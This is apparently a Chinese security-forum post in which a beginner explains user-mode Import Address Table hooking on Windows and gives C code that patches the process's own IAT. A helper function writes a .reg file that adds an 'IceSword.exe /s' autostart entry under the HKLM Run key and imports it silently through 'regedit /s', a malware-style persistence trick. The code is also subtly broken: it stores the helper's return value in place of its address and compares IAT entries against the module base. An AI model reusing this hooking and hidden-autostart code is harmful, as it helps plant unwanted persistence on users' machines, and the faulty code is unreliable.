偶是菜鸟,希望大家赐教。
用户模式.IAT-hooking
原理:导入函数:被程序调用但其执行代码不在程序中的函数,如user32.dll,kernel32.dll,advapi32.dll中的函数。
当PE文件被装入内存的时候,Windows装载器将DLL装入,并将调用导入函数指令和函数实际所处的地址联系起来,这就是“动态链接”的概念。动态链接是通过PE文件中定义的“导入表”(Import Table)来完成的,导入表中保存的正是函数名和其驻留的DLL名等动态链接所必需的信息。如果程序要运用这些函数,就得从这些dll文件中导入,程序会把导入的函数放到一个叫IAT的数据结构中(导入地址表)。我们可以先找到自己需要hook的函数,然后把目标函数的地址改成我们自己的hook函数,最后再恢复到目标函数的地址。
下面程序实现钩住本进程模块达到修改注册表启动项:
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#define UNICODE
#define _UNICODE
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeaders;
PIMAGE_OPTIONAL_HEADER pOptHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
PIMAGE_THUNK_DATA pThunkData;
PIMAGE_IMPORT_BY_NAME pImportByName;
HMODULE hMod;
//保存函数的入口地址
int add_reg();
int * addr = (int *) add_reg(); //保存修改注册表函数的地址
int main()
{
//-------------HOOK部分
hMod = GetModuleHandle(NULL);//获得本模块句柄
pDosHeader = (PIMAGE_DOS_HEADER)hMod;
pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE *)hMod + pDosHeader->e_lfanew);
pOptHeader = (PIMAGE_OPTIONAL_HEADER)&(pNTHeaders->OptionalHeader);
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)hMod + pOptHeader->DataDirectory[1].VirtualAddress);
while(pImportDescriptor->FirstThunk)
{
char * dllname = (char *)((BYTE *)hMod + pImportDescriptor->Name);
pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)hMod + pImportDescriptor->OriginalFirstThunk);
int no = 1;
while(pThunkData->u1.Function)
{
char * funname = (char *)((BYTE *)hMod + (DWORD)pThunkData->u1.AddressOfData + 2);
PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)pImportDescriptor->FirstThunk) +(no-1);
//修改内存的部分
if((*lpAddr) == (int)hMod)
{
//修改内存页的属性
DWORD dwOLD;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(lpAddr,&mbi,sizeof(mbi));
VirtualProtect(lpAddr,sizeof(DWORD),PAGE_READWRITE,&dwOLD);
//写内存
WriteProcessMemory(GetCurrentProcess(),
lpAddr, &addr, sizeof(DWORD), NULL);
//恢复内存页的属性
VirtualProtect(lpAddr,sizeof(DWORD),dwOLD,0);
}
//---------
no++;
pThunkData++;
}
pImportDescriptor++;
}
return 0;
}
int add_reg()
{ char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"IceSword.exe\"=\"C:\\\\windows\\\\IceSword.exe /s\""};
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
return 1;
}
}
参考资料《WIN32汇编教程》《钩住驱动导入表地址》
[课程]FART 脱壳王!加量不加价!FART作者讲授!